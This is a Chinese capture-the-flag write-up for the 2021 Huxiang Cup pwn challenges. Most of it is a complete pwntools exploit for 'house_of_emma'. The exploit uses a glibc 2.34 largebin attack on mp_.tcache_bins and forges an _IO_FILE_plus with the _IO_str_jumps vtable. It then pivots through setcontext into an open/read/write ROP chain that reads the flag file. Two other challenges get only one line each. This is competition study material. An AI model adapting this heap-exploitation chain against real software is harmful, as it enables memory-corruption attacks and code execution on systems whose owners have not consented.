2021湖湘杯pwn-wp
Posted unr4v31
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021湖湘杯pwn-wp相关的知识,希望对你有一定的参考价值。
house_of_emma
这是看了GD师傅的exp写的,有些地方还是不太清楚原理。
加强版的house of pig,glibc 2.34 的malloc_printerr
不调用abord
,无法触发IO的虚表函数。可以利用puts
函数,puts
函数也会调用malloc
,就可以触发setcontext
去构造orw读取flag。
- 首先利用高版本的largebin attack手法修改
mp_.tcache_bins
,largebin attack写入一个堆地址(unsorted bin < large bin),此时任意大小的堆块都可以放入tcache中 - 然后将tcache填满,并泄露出堆地址,为后面largebin attack做准备
- 在堆块中构造
_IO_FILE_plus
结构体,并将vtable
的地址写为_IO_str_jumps
的地址
函数调用链如下:
__GI__IO_puts() -> __GI__IO_default_xsputn() -> __GI__IO_str_overflow() -> __GI___libc_free() -> _int_free() -> malloc_printerr() -> __libc_message() -> __GI__IO_puts() -> __GI__IO_str_overflow() -> *ABS*+0x9e310@plt() -> __vfprintf_internal() -> setcontext+61
exp:
from pwn import *
from pwn import p64,u64,p32,u32,p8,p16
context.arch = \'amd64\'
context.log_level = \'debug\'
context.terminal = [\'tmux\',\'sp\',\'-h\']
# elf = ELF(\'./pwn\')
# libc = ELF(\'/usr/lib/x86_64-linux-gnu/libc-2.31.so\')
libc = ELF(\'./libc.so.6\')
io = process(\'./pwn\')
def add(flag,idx,size):
if flag:
io.recvuntil(\'opcode\\n\')
payload = b\'\\x01\' + p8(idx) + p16(size)+b\'\\x05\'
io.send(payload)
return 0
else:
payload = b\'\\x01\' + p8(idx) + p16(size)
return payload
def delete(flag,idx):
if flag:
io.recvuntil(\'opcode\\n\')
payload = b\'\\x02\' + p8(idx)+b\'\\x05\'
io.send(payload)
return 0
else:
payload = b\'\\x02\' + p8(idx)
return payload
def edit(flag,idx,size,content):
if flag:
io.recvuntil(\'opcode\\n\')
payload = b\'\\x04\' + p8(idx) + p16(size) + content+b\'\\x05\'
io.send(payload)
return 0
else:
payload = b\'\\x04\' + p8(idx) + p16(size) + content
return payload
def show(flag,idx):
if flag:
io.recvuntil(\'opcode\\n\')
payload = b\'\\x03\' + p8(idx) + b\'\\x05\'
io.send(payload)
return 0
else:
payload = b\'\\x03\' + p8(idx)
return payload
def quit():
return b\'\\x05\'
def recv():
leak = u64(io.recvuntil(b\'\\x7f\')[-6:].ljust(8,b\'\\x00\'))
return leak
def exp2():
add(1,0,0x440)
add(1,1,0x4a0)
add(1,2,0x410)
add(1,3,0x490)
add(1,4,0x430)
add(1,5,0x490)
add(1,6,0x430)
add(1,9,0x4c0)
add(1,10,0x490)
add(1,11,0x490)
add(1,12,0x490)
add(1,13,0x490)
add(1,14,0x490)
add(1,15,0x490)
add(1,16,0x490)
delete(1,1)
show(1,1)
# ********** leak libc address**********#
leak = recv()
info(hex(leak))
libc_base = leak - 0x1f30d0
info(\'libc_base == %s\'%hex(libc_base))
setcontext = libc_base + 0x50bfd
info(\'setcontext+61 == %s\'%hex(setcontext))
main_arena = leak + 0x3f0
tcache_bins = libc_base + 0x1f2390 # mp_->tcache_bins
info(\'tcache_bins == %s\'%hex(tcache_bins))
prsi = libc_base + 0x0000000000037c0a # : pop rsi ; ret
prdi = libc_base + 0x000000000002daa2 # : pop rdi ; ret
prdx = libc_base + 0x00000000001066e1 # : pop rdx ; pop r12 ; ret
stdout = libc_base + 0x1f3848
io_stdfile_1_lock = libc_base + 0x1f5730
str_jumps_vtable = libc_base + 0x1f4620
libc_abs = libc_base + 0x1f20b0 # *ABS*@got.plt
libc_puts = libc_base + 0x7a050
gadget = libc_base + 0x6f476 # mov rdx,rbx ; mov rsi,r13 ; mov rdi,rbp ; call QWORD PTR [r14+0x38]
libc_open = libc_base + libc.sym[\'open\']
libc_read = libc_base + libc.sym[\'read\']
libc_write = libc_base + libc.sym[\'write\']
# ************* 2.31 large bin attack overwrite mp_.tcache_bins ***************#
# ************* unsorted bin < largebin (house of storm) *************#
io.recvuntil(\'opcode\\n\')
payload = add(0,7,0x500)
payload += delete(0,3)
payload += edit(0,1,0x20, p64(main_arena)*2+p64(0)+p64(tcache_bins-0x20))
payload += add(0,8,0x410)
payload += quit()
io.sendline(payload)
# ************ fill tcache and leak heap base ************#
for i in range(7):
delete(1,i+10)
delete(1,9)
show(1,11)
heap_addr = u64(io.recvuntil(b\'\\x0a\')[-6:-1].ljust(8,b\'\\x00\'))<<12
heap_base = heap_addr - 0x4000
info(hex(heap_base))
gdb.attach(io)
# ************** useful chunks ************** #
flag_str = heap_base + 0x760
rsp = heap_base + 0x460
v = heap_base + 0x388
# ************** fake _IO_str_jumps ************** #
fake = p64(0)
fake += p64(v)
fake += p64(v+0x22e)
fake += p64(libc_abs)*3
fake = fake.ljust(0x58,b\'\\x00\')
fake += p64(io_stdfile_1_lock)
fake += p64(0)*2
fake += p64(rsp)
fake += p64(prdi)
fake = fake.ljust(0xa8,b\'\\x00\')
fake += p64(str_jumps_vtable)
# *************** setcontext orw ROP chain **************#
o = p64(gadget)*6 + p64(0) + p64(flag_str) +p64(libc_open)
r = p64(prdi) + p64(3) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_read)
w = p64(prdi) + p64(1) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_write)
# ***************** exploit ***************** #
payload = delete(0,5)
payload += show(0,5)
payload += show(0,5)
payload += show(0,5)
payload += show(0,5)
payload += show(0,5)
payload += edit(0,1,len(fake)+0x20,p64(main_arena)*2 + p64(0) + p64(stdout - 0x20) + fake)
payload += add(0,8,0x410)
payload += b\'\\x00\'*4
payload += p64(libc_puts) *2
payload += b\'\\x00\' * 0x28
payload += p64(setcontext)
payload += b\'\\x00\' *0x60
payload += o
payload += r
payload += w
payload = payload.ljust(0x4c0,b\'\\x00\') + b\'./flag\'
print(len(payload))
# gdb.attach(io,\'x/20xg $rebase(0x4040)\')
io.send(payload)
exp2()
io.interactive()
Maybe_fun_game_3
加强版2021红明谷原题,双边协议
tiny_httpd
web pwn,命令执行
以上是关于2021湖湘杯pwn-wp的主要内容,如果未能解决你的问题,请参考以下文章